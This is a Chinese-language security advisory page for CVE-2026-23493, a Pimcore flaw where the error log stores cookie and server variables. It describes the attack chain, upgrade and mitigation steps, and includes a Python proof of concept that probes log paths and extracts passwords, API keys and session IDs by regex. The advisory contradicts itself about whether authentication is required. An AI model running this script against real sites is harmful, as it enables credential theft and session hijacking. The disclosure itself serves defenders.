IPBUF安全漏洞报告
English
CVE-2026-23493 CVSS 8.6 高危

CVE-2026-23493 Pimcore http_error_log敏感信息泄露漏洞

披露日期: 2026-01-15

漏洞信息

漏洞编号
CVE-2026-23493
漏洞类型
敏感信息泄露
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Pimcore

相关标签

敏感信息泄露信息泄露Pimcore日志文件会话劫持数据库凭据泄露高危漏洞CVE-2026-23493开源CMSPHP

漏洞概述

CVE-2026-23493是Pimcore开源数据与体验管理平台中的一个高危敏感信息泄露漏洞。该漏洞存在于12.3.1和11.5.14之前的版本,由于http_error_log文件错误地记录了PHP的$_COOKIE和$_SERVER超全局变量,导致敏感信息如数据库凭据、Cookie会话数据、API密钥、内部路径信息以及其他服务器配置细节被持久化存储在日志文件中。攻击者可通过访问Pimcore后台管理界面读取这些日志文件,从而获取系统敏感信息,可能导致进一步的攻击,如数据泄露、账户劫持或横向移动。该漏洞CVSS评分8.6,属于高危级别,无需认证即可利用,对机密性影响较高。

技术细节

该漏洞的根本原因在于Pimcore的错误日志记录机制存在安全缺陷。在PHP应用程序中,$_COOKIE变量包含用户的会话Cookie和其他客户端设置的Cookie数据,其中可能包含会话标识符、认证令牌等敏感信息。$_SERVER变量则包含服务器环境信息,如数据库连接字符串、API密钥、文件路径、HTTP头信息等。Pimcore在记录HTTP错误日志时,直接将这两个超全局变量序列化并写入http_error_log文件,而没有对这些敏感数据进行适当的过滤或脱敏处理。攻击者利用此漏洞需要通过以下步骤:1)访问Pimcore后台管理界面;2)导航至日志查看功能;3)读取http_error_log文件内容;4)解析并提取其中的敏感信息。由于日志文件长期积累,大量敏感数据可能被累积,增加了泄露风险。修复方案在提交002ec7d5f84973819236796e5b314703b58e8601中实施,移除了对$_COOKIE和$_SERVER变量的直接记录。

攻击链分析

STEP 1
步骤1
攻击者访问目标Pimcore网站后台管理界面
STEP 2
步骤2
使用有效凭据登录或利用其他认证漏洞获取后台访问权限
STEP 3
步骤3
导航至日志查看功能或直接访问http_error_log文件路径
STEP 4
步骤4
读取http_error_log文件内容,解析其中记录的$_COOKIE和$_SERVER变量
STEP 5
步骤5
提取敏感信息,包括数据库密码、API密钥、Cookie会话数据等
STEP 6
步骤6
利用获取的敏感信息进行进一步攻击,如会话劫持、数据库入侵或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-23493 PoC - Pimcore Sensitive Information Disclosure # This PoC demonstrates accessing http_error_log to extract sensitive data import requests import re from urllib.parse import urljoin def cve_2026_23493_poc(target_url, credentials=None): """ Pimcore http_error_log Information Disclosure PoC Requirements: - Valid admin session cookie OR direct file system access - Access to Pimcore admin backend Steps: 1. Authenticate to Pimcore admin panel 2. Navigate to Tools > Logs or directly access error logs 3. Read http_error_log file content 4. Extract sensitive data from $_COOKIE and $_SERVER variables """ results = { 'vulnerable': False, 'sensitive_data_found': [], 'log_excerpts': [] } # Target paths for accessing logs log_paths = [ '/admin/logs', '/admin/maintenance-log', '/var/log/http_error.log', '/pimcore var/log/http-error.log' ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # If credentials provided, attempt authentication session = requests.Session() if credentials: login_url = urljoin(target_url, '/admin/login') session.post(login_url, data=credentials) # Try to access log files for path in log_paths: try: response = session.get(urljoin(target_url, path), headers=headers, timeout=10) if response.status_code == 200: # Check for sensitive patterns in log content sensitive_patterns = [ r'\$_COOKIE\[.*?\]\s*=\s*[\"\'](.*?)[\"\']', r'\$_SERVER\[.*?\]\s*=\s*[\"\'](.*?)[\"\']', r'(password|passwd|pwd)[=:]\s*\S+', r'(database|db|sql)[_-]?(host|pass|user)[=:]\s*\S+', r'(api[_-]?key|secret|token)[=:]\s*\S+', r'(PHPSESSID|session[_-]?id)[=:]\s*\S+' ] for pattern in sensitive_patterns: matches = re.findall(pattern, response.text, re.IGNORECASE) if matches: results['vulnerable'] = True results['sensitive_data_found'].extend(matches) results['log_excerpts'].append({ 'path': path, 'status': response.status_code, 'size': len(response.content) }) except Exception as e: continue return results def extract_from_log_file(log_content): """ Parse http_error_log content and extract sensitive information Expected log format: [timestamp] ERROR: ... $_COOKIE[...] = "..." $_SERVER[...] = "..." """ extracted = { 'cookies': {}, 'server_vars': {}, 'credentials': [], 'session_ids': [] } # Pattern to match $_COOKIE variable assignments cookie_pattern = r'\$_COOKIE\[["\']([^"\']+)["\']\]\s*=\s*["\']([^"\']+)["\']' for match in re.finditer(cookie_pattern, log_content): key, value = match.groups() extracted['cookies'][key] = value if 'session' in key.lower() or 'sessid' in key.lower(): extracted['session_ids'].append(value) # Pattern to match $_SERVER variable assignments server_pattern = r'\$_SERVER\[["\']([^"\']+)["\']\]\s*=\s*["\']([^"\']+)["\']' for match in re.finditer(server_pattern, log_content): key, value = match.groups() extracted['server_vars'][key] = value # Check for credentials sensitive_keys = ['PASSWORD', 'PASSWD', 'DB_PASS', 'API_KEY', 'SECRET'] if any(s in key.upper() for s in sensitive_keys): extracted['credentials'].append({key: value}) return extracted if __name__ == '__main__': # Example usage target = 'https://vulnerable-pimcore-site.com' # Test without authentication (if logs are publicly accessible) result = cve_2026_23493_poc(target) print(f'Venerable: {result["vulnerable"]}') print(f'Sensitive data found: {len(result["sensitive_data_found"])} items') print(f'Log files accessible: {len(result["log_excerpts"])} files')

影响范围

Pimcore < 11.5.14
Pimcore < 12.3.1

防御指南

临时缓解措施
临时缓解措施包括:1)立即限制或禁用http_error_log文件的访问,确保只有授权管理员可以查看;2)定期清理旧的日志文件以减少敏感信息积累;3)实施Web应用防火墙规则监控对日志文件的异常访问;4)考虑临时关闭错误日志记录功能或配置日志记录排除敏感变量;5)加强后台管理界面的访问控制,要求多因素认证。最终解决方案是尽快升级到Pimcore 11.5.14或12.3.1版本,该版本已移除对$_COOKIE和$_SERVER变量的错误日志记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表